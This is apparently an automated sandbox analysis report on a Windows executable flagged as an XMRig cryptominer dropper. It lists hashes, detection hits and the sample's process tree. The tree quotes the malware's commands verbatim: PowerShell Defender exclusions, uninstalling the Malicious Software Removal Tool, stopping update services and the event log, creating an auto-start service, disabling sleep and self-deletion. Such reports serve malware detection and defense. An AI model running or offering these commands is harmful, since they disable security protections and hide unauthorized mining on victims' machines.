Analysis
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max time kernel
119s -
max time network
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platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
20-12-2024 01:42
Static task
static1
Behavioral task
behavioral1
Sample
6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe
Resource
win7-20241010-en
General
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Target
6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe
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Size
5.6MB
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MD5
5c1c9d0e488738553a65061a4578c650
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SHA1
06ce7757732d1e17383c59f78e5f4b9aacc69b7f
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SHA256
6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65
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SHA512
381265380973286eed6230beacfcfdffa2ac60008d4a0a7c901938ff63f9673f58e2ba39fdf5a9be4ac5d52aaf8a2345045aa3361ec406c031395ffb63a7c808
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2524-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2524-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1692 powershell.exe 2860 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 636 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 1744 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2848 powercfg.exe 2820 powercfg.exe 2540 powercfg.exe 3064 powercfg.exe 3008 powercfg.exe 3040 powercfg.exe 2736 powercfg.exe 2856 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1744 set thread context of 2504 1744 fqwofdtexigy.exe 86 PID 1744 set thread context of 2524 1744 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2524-25-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2524-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2892 sc.exe 2896 sc.exe 3036 sc.exe 1820 sc.exe 2980 sc.exe 2000 sc.exe 1560 sc.exe 2556 sc.exe 2684 sc.exe 1028 sc.exe 2816 sc.exe 2904 sc.exe 2748 sc.exe 1248 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0eb43808052db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 1692 powershell.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 2400 6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe 1744 fqwofdtexigy.exe 2860 powershell.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 1744 fqwofdtexigy.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe 2524 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1692 powershell.exe Token: SeShutdownPrivilege 2736 powercfg.exe Token: SeShutdownPrivilege 2848 powercfg.exe Token: SeShutdownPrivilege 2820 powercfg.exe Token: SeShutdownPrivilege 2856 powercfg.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeShutdownPrivilege 2540 powercfg.exe Token: SeShutdownPrivilege 3040 powercfg.exe Token: SeShutdownPrivilege 3008 powercfg.exe Token: SeShutdownPrivilege 3064 powercfg.exe Token: SeLockMemoryPrivilege 2524 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2832 wrote to memory of 2840 2832 cmd.exe 38 PID 2832 wrote to memory of 2840 2832 cmd.exe 38 PID 2832 wrote to memory of 2840 2832 cmd.exe 38 PID 636 wrote to memory of 2956 636 cmd.exe 65 PID 636 wrote to memory of 2956 636 cmd.exe 65 PID 636 wrote to memory of 2956 636 cmd.exe 65 PID 3012 wrote to memory of 2476 3012 cmd.exe 72 PID 3012 wrote to memory of 2476 3012 cmd.exe 72 PID 3012 wrote to memory of 2476 3012 cmd.exe 72 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2504 1744 fqwofdtexigy.exe 86 PID 1744 wrote to memory of 2524 1744 fqwofdtexigy.exe 90 PID 1744 wrote to memory of 2524 1744 fqwofdtexigy.exe 90 PID 1744 wrote to memory of 2524 1744 fqwofdtexigy.exe 90 PID 1744 wrote to memory of 2524 1744 fqwofdtexigy.exe 90 PID 1744 wrote to memory of 2524 1744 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe"C:\Users\Admin\AppData\Local\Temp\6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2400 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1692
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2840
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2892
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2896
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2816
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2904
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3036
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2820
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2848
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2856
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2556
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2684
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1248
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\6afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65N.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2956
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2476
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1820
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2980
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2000
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1560
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1028
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2540
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3040
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3064
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3008
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2504
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD55c1c9d0e488738553a65061a4578c650
SHA106ce7757732d1e17383c59f78e5f4b9aacc69b7f
SHA2566afc6161c189dc921768cca70635f26b8ba2f923c3a2053a3a991e5d420f3f65
SHA512381265380973286eed6230beacfcfdffa2ac60008d4a0a7c901938ff63f9673f58e2ba39fdf5a9be4ac5d52aaf8a2345045aa3361ec406c031395ffb63a7c808